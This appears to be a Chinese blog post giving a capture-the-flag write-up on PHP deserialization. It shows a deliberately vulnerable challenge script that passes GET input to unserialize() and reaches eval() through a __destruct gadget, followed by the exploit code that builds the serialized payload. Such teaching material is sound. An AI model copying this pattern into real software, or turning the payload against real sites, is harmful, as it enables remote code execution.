当前位置:网站首页>PHP序列化:eval
PHP序列化:eval
2022-07-31 12:40:00 【小龙在山东】
题目
<?php
highlight_file(__FILE__);
class lemon{
protected $ClassObj;
function __construct(){
$this->ClassObj = new normal();
}
function __destruct(){
$this->ClassObj->action();
}
}
class normal{
function action(){
echo "hello";
}
}
class evil{
private $data;
function action(){
eval($this->data);
}
}
unserialize($_GET['d']);
?>
解题思路:通过传入d参数,参数是序列化后的字符串,用来调用魔术方法__destruct,然后调用evil的action,进而可以执行eval。
wp
生成序列化字符串:
<?php
class lemon{
protected $ClassObj;
function __construct(){
$this->ClassObj = new evil();
}
}
class evil{
private $data = "phpinfo();";
}
$test = new lemon();
echo urlencode(serialize($test));

边栏推荐
- Full GC (Ergonomics)排查分析
- 基于生物激励神经网络的室内实时激光SLAM控制方法
- MySQL面试八股文(2022最新整理)
- vivado里那些看不懂的原语
- ipv4和ipv6对比(IPV4)
- SAP ABAP OData 服务如何支持 $filter (过滤)操作试读版
- PyQt5 rapid development and actual combat 10.2 compound interest calculation && 10.3 refresh blog clicks
- 365天挑战LeetCode1000题——Day 044 最大层内元素和 层次遍历
- Two methods of NameNode failure handling
- Hybrid brain-computer interface system based on steady-state visual evoked potentials and attentional EEG
猜你喜欢

Spark GC日志分析

MySQL日志中“binlog”的三种格式玩起来真爽

WebGL给Unity传递参数问题1: Cannot read properties of undefined (reading ‘SendMessage‘)

Markdown编辑器语法

Selenium自动化测试之Selenium IDE

PyQt5 rapid development and actual combat 10.2 compound interest calculation && 10.3 refresh blog clicks

SAP ABAP OData 服务如何支持 $filter (过滤)操作试读版

Centos7 install mysql5.7 steps (graphical version)

JVS轻应用的组成与配置

AMBA APB学习记录(AMBA 3/4)
随机推荐
小试牛刀—猜数字游戏
查看Mysql数据库版本
给你一个大厂面试的机会,你能面试上吗?进来看看!
订song餐系统
centos7安装mysql5.7
Acwing第 62 场周赛【未完结】
Anaconda安装labelImg图像标注软件
关于我放弃考研这件事儿
PyQt5 rapid development and actual combat 10.1 Get city weather forecast
集群中增加数据节点与退役数据节点
A Week of Wonderful Content Sharing (Issue 14)
集群的安全模式
PyQt5 rapid development and actual combat 9.7 Automated testing of UI layer
三相PWM整流器预测直接功率控制
Basic use of dosbox [easy to understand]
busybox之reboot命令流程分析
【OpenCV】-边缘检测汇总示例
LRU缓存[线性表 -> 链表 -> hash定位 -> 双向链表]
使用docker搭建mysql主从
NameNode故障处理的两种方法